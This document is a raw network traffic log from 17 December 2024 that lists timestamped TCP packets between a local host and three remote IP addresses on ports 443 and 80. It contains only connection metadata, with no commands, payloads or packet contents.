Dec 17, 2024 10:08:36.271956921 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.278521061 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.278537989 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.278660059 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.278671026 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.278729916 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.286267042 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.286286116 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.286397934 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.286411047 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.286459923 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.287224054 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.287288904 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.287297010 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.287308931 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:36.287364006 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.287381887 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.456010103 CET	443	49750	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:36.456263065 CET	443	49750	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:36.456382036 CET	49750	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:36.519896984 CET	49750	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:36.519938946 CET	443	49750	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:36.677778959 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.678203106 CET	49744	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:36.678220034 CET	443	49744	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:37.318591118 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:37.318640947 CET	443	49757	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:37.318746090 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:37.319181919 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:37.319195032 CET	443	49757	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:38.531080008 CET	443	49757	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:38.531162024 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:38.564969063 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:38.564985991 CET	443	49757	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:38.565313101 CET	443	49757	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:38.566674948 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:38.568008900 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:38.568048000 CET	443	49757	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:38.568238020 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:38.568264961 CET	443	49757	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:38.568371058 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:38.568404913 CET	443	49757	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:38.568523884 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:38.568551064 CET	443	49757	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:38.568754911 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:38.568785906 CET	443	49757	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:38.568986893 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:38.569011927 CET	443	49757	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:38.569022894 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:38.569032907 CET	443	49757	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:38.569188118 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:38.569214106 CET	443	49757	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:38.569235086 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:38.569356918 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:38.569390059 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:38.611339092 CET	443	49757	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:38.611507893 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:38.611556053 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:38.611579895 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:38.655338049 CET	443	49757	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:38.655438900 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:38.699331999 CET	443	49757	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:41.734932899 CET	443	49757	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:41.735016108 CET	443	49757	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:41.735383987 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:41.735425949 CET	49757	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:41.824814081 CET	49768	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:41.824857950 CET	443	49768	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:41.825074911 CET	49768	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:41.825664043 CET	49768	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:41.825699091 CET	443	49768	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:43.040477991 CET	443	49768	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:43.040653944 CET	49768	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:43.041944027 CET	49768	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:43.041950941 CET	443	49768	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:43.042226076 CET	443	49768	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:43.043535948 CET	49768	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:43.043656111 CET	49768	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:43.043675900 CET	443	49768	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:44.599448919 CET	443	49768	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:44.599575996 CET	443	49768	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:44.599699020 CET	49768	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:44.599898100 CET	49768	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:44.599898100 CET	49768	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:44.599934101 CET	443	49768	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:44.599944115 CET	443	49768	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:44.603557110 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:44.723388910 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:44.723501921 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:44.723660946 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:44.843378067 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.063694000 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.063735962 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.063750982 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.063797951 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.063888073 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.063899994 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.063920021 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.063944101 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.063966036 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.063966036 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.063992977 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.064038038 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.064040899 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.064054012 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.064100981 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.183578014 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.183593035 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.183656931 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.255544901 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.255629063 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.255677938 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.259747028 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.259861946 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.259917021 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.268399954 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.268461943 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.268536091 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.276572943 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.276653051 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.276709080 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.285002947 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.285028934 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.285079002 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.293349981 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.293369055 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.293415070 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.301734924 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.301843882 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.301896095 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.310216904 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.310276031 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.310324907 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.318526983 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.318578005 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.318628073 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.326934099 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.327008963 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.327064037 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.335513115 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.335530996 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.335577965 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.375360966 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.422836065 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.447293043 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.447391033 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.447446108 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.449906111 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.450722933 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.450767994 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.450783968 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.455818892 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.455866098 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.455980062 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.460812092 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.460840940 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.460863113 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.465838909 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.465892076 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.465893030 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.470627069 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.470674038 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.470758915 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.475500107 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.475577116 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.475646019 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.480288982 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.480341911 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.480386019 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.485151052 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.485208988 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.485248089 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.489957094 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.490008116 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.490080118 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.494849920 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.494916916 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.494934082 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.499633074 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.499682903 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.499761105 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.504534006 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.504554987 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.504589081 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.509439945 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.509495020 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.509589911 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.514213085 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.514265060 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.514286995 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.519099951 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.519119978 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.519146919 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.563488007 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.644506931 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.644582033 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.644638062 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.646390915 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.646466017 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.646511078 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.650316954 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.650332928 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.650397062 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.654200077 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.654242039 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.654287100 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.658065081 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.658117056 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.658169985 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.661966085 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.661995888 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.662045002 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.665899992 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.665987015 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.666039944 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.669802904 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.669819117 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.669869900 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.673752069 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.673861980 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.673908949 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.677540064 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.677649021 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.677697897 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.681566954 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.681674004 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.681716919 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.685344934 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.685362101 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.685411930 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.689239025 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.689300060 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.689357042 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.693133116 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.693269968 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.693316936 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.697098970 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.697122097 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.697174072 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.700963020 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.700997114 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.701044083 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.704793930 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.704859972 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.704907894 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.708723068 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.708826065 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.708865881 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.713146925 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.713262081 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.713308096 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.716520071 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.716716051 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.716762066 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.720524073 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.720556974 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.720602036 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.724332094 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.724517107 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.724562883 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.728230953 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.728252888 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.728296995 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.732242107 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.732338905 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.732395887 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.736012936 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.736083031 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.736140966 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.739921093 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.740004063 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.740052938 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.743766069 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.743875027 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.743925095 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.747682095 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.747757912 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.747807980 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.751549959 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.751678944 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.751739979 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.830913067 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.830929995 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.830992937 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.831981897 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.832151890 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.832190990 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.835666895 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.835771084 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.835824966 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.839385033 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.839411020 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.839471102 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.843049049 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.843161106 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.843209028 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.846642017 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.846707106 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.846745014 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.850080967 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.850178957 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.850220919 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.853427887 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.853508949 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.853552103 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.856673956 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.856798887 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.856844902 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.859863997 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.859978914 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.860023975 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.862998962 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.863022089 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.863063097 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.866030931 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.866106987 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.866211891 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.868983030 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.869055986 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.869106054 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.872013092 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.872037888 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.872076035 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.874886036 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.874994040 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.875036001 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.877716064 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.877842903 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.877885103 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.880537987 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.880750895 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.880789995 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.883388042 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.883512020 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.883552074 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.886219025 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.886287928 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.886337042 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:46.888957977 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:46.889035940 CET	80	49774	185.215.113.16	192.168.2.6
